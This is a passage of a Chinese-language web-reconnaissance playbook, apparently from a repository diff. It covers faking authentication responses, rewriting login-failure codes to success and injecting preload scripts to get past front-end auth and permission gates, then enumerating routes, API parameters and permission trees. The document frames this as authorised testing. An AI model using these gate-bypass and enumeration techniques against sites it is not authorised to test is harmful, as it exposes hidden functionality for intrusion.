|---|---|---|
|
||||
| L1 精确 | auth/权限/bootstrap stub | 过首屏鉴权 |
|
||||
| L2 负向修正 | 所有 JSON 响应 | 未登录码 → 成功 |
|
||||
| L3 兜底 | 未命中 L1 的 `/api` 等 | 空成功体，撑开 UI |
|
||||
|
||||
- **depth**：fake auth + `forward` 改业务码 + `stubs`；遍历 `routes`（hash/history）；产出 `runtime_api.json`
|
||||
- **coverage**：**document-start** 注入 `preload.js`（CDP `addScriptToEvaluateOnNewDocument` 或 Userscript）
|
||||
|
||||
验证：`window.__API_RECON_PRELOAD__` 存在；业务 path 不回 `/login`。
|
||||
|
||||
```bash
|
||||
cd recon && npm install
|
||||
node runtime_harvest.js config.json
|
||||
```
|
||||
|
||||
### 3b — coverage 动态枚举（必做）
|
||||
|
||||
1. 主导航/侧栏 — 每项点击，等网络 1–3s
|
||||
2. Tab — `role=tab`、`.ant-tabs-tab`
|
||||
3. 表格 — 首行查看/编辑/详情
|
||||
4. 工具栏 — 导出、筛选、新建（**避免不可逆删除**）
|
||||
5. 每进模块 — 合并 API/路由
|
||||
6. SPA — 对 `routes.txt` 未覆盖 path 受控 `pushState`（MPA 禁止）
|
||||
|
||||
**参数触发矩阵**（必做）：每模块按操作类型各录一次，**diff 多样本**：
|
||||
|
||||
| 操作 | 通常多出的参数 |
|
||||
|---|---|
|
||||
| 列表首屏 | 分页 + 默认筛选 |
|
||||
| 点搜索 | keyword、filter |
|
||||
| 高级筛选 | 更多 optional |
|
||||
| 新建/编辑 | 完整 entity |
|
||||
| 批量/导出/排序 | `ids[]`、`exportType`、`sortField` |
|
||||
|
||||
**stub 下 outbound body/headers 仍真实**——以请求为准。录制 → `scan_raw.json`、`param_samples.json`、`api_detail.json`。
|
||||
|
||||
- **Vue**：`neutralizeVueRouter: true` + document-start preload
|
||||
- **React**：`routes.txt` + 侧栏点击 + `pushState`
|
||||
- **both**：先 3a depth，再 3b coverage
|
||||
|
||||
---
|
||||
|
||||
## Phase 4 — 权限树还原
|
||||
|
||||
**触发**：模块页空白 / 每路由仅 bootstrap（如 locale）→ 内容门未过。
|
||||
|
||||
| 现象 | 含义 |
|
||||
|---|---|
|
||||
| 进壳成功 | 渲染门 + 拦截器门已过 |
|
||||
| 侧栏缺项/点击空白 | stub shape 或权限码不全 |
|
||||
| 每路由 API 相同且极少 | `v-if permission` 未通过 |
|
||||
| `routes.txt` 远少于 bundle | 须从 auth 模块补全 |
|
||||
|
||||
```bash
|
||||
grep -rhoaE '"/api[^"]*(permission|perm|role|menu|acl)[^"]*"' OUTDIR/js/*.js | sort -u | head -30
|
||||
grep -rhoaE 'userRouteAuth|getResultTree|routeMap|routeLink|menuList|authList' OUTDIR/js/*.js | head -20
|
||||
```
|
||||
|
||||
典型链：`role_permissions`（flat codes）+ `permissions/all`（tree）→ `getResultTree` → `userRouteAuth[CODE].url`。
|
||||
|
||||
```bash
|
||||
python3 recon/extract_route_map.py recon/js recon/
|
||||
python3 recon/build_perm_tree.py recon/js recon/ --config recon/config.json
|
||||
```
|
||||
|
||||
中间产出：`route_map.json`、`userRouteAuth.json`、`permissions_tree.json`、`*_stub.json`、`perm_codes_all.txt`。
|
||||
|
||||
stub 检查：外层 `response_code` 与拦截器门一致；flat codes 与 tree 对齐；`routes` 覆盖 `route_map` 全部 link。
|
||||
|
||||
更新 `config.json` 后**重跑 Phase 3**。大型 SPA 可调 `waitUntil`、`routeTimeout`、`perRouteMs`（见 reference A3/I 节）。
|
||||
|
||||
---
|
||||
|
||||
## Phase 5 — 合并与报告
|
||||
|
||||
### 产出表
|
||||
|
||||
| 文件 | 阶段 | 内容 |
|
||||
|---|---|---|
|
||||
| `js/`、`api_static.txt`、`routes.txt`、`chunkmap.txt` | 1 | 静态 bundle 与 path |
|
||||
| `param_candidates.json` | 1b | 静态参数字段候选 |
|
||||
| `config.json` | 2 | 三道门 + runtime 配置 |
|
||||
| `runtime_api.json` | 3a | depth 详细录制（含 WS/SSE） |
|
||||
| `param_samples.json`、`scan_raw.json`、`api_detail.json` | 3b | 多样本、点击日志、detail |
|
||||
| `route_map.json` 等 | 4 | 权限树中间文件（若执行） |
|
||||
| `params_merged.json` | 5 | 合并参数字段 + 置信度 |
|
||||
| `api_merged.txt` | 5 | `METHOD /path [params] [static\|runtime\|both]` |
|
||||
| `site_map.json` | 5 | 路由、API、params、功能点、局限 |
|
||||
| **insert_assets** | 5 | 将所有服务、端点资产写入资产库 |
|
||||
|
||||
### 5b — 参数合并
|
||||
|
||||
从 `param_samples.json` diff，**无通用合并脚本**。置信度规则见 reference J7（高/中/低/待触发）。
|
||||
|
||||
### 5c — 错误反推
|
||||
|
||||
授权范围内可发不完整请求读 400（**属参数 recon，非漏洞测试**）：`field 'x' is required`、枚举错误等。注意 `data` 包装、`variables`、加密前 `bizData`。
|
||||
|
||||
报告须注明：runtimeMode、静态/运行时 API 数、参数置信度、未覆盖模块、相对参考脚本的 `CHANGES.md` 摘要。
|
||||
|
||||
`site_map.json` 建议结构：
|
||||
|
||||
```json
|
||||
{
|
||||
"site": "https://example.com",
|
||||
"runtimeMode": "both",
|
||||
"appType": "vue-spa",
|
||||
"routeGuardStrategy": ["nav-neutralize", "L1-auth", "L2-patch", "forward"],
|
||||
"apisFromStatic": [],
|
||||
"apisFromRuntime": [],
|
||||
"apis": [],
|
||||
"params": [{ "method": "POST", "path": "/api/user/list", "transport": "json", "fields": [] }],
|
||||
"frontendRoutes": [],
|
||||
"routesVerifiedByClick": [],
|
||||
"featuresTriggered": [],
|
||||
"limitations": ""
|
||||
}
|
||||
```
|
||||
|
||||
更多字段与 grep 配方见 [reference.md](reference.md)。
|
||||
|
||||
---
|
||||
|
||||
## 通用说明
|
||||
|
||||
- **框架无关**：webpack/Vite/Angular lazy load 方法相同
|
||||
- **传输**：REST/JSON、GraphQL、WebSocket、SSE；gRPC-web 不在范围
|
||||
- **SSR**：客户端 fetch 可录；RSC/Server Actions 不完全可枚举
|
||||
- **盲区**：JSVMP、WASM、HMAC/mTLS 强校验 → 静态 + 标注局限
|
||||
- **参数盲区**：条件联动、hidden params、WASM 组包 → 「待触发」/「不可达」
|
||||
- **静态是安全网**：runtime 被挡时静态仍能枚举 endpoint
|
||||
|
||||
---
|
||||
|
||||
## 附加资源
|
||||
|
||||
- Grep 配方、`config.json` 模板、排障、Hook、参数逆向 J 节、site_map 模板：**[reference.md](reference.md)**
|
||||
- 参考脚本路径见 [脚本与门禁](#脚本与门禁) 表
|
||||
Loaded 100 of 287 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user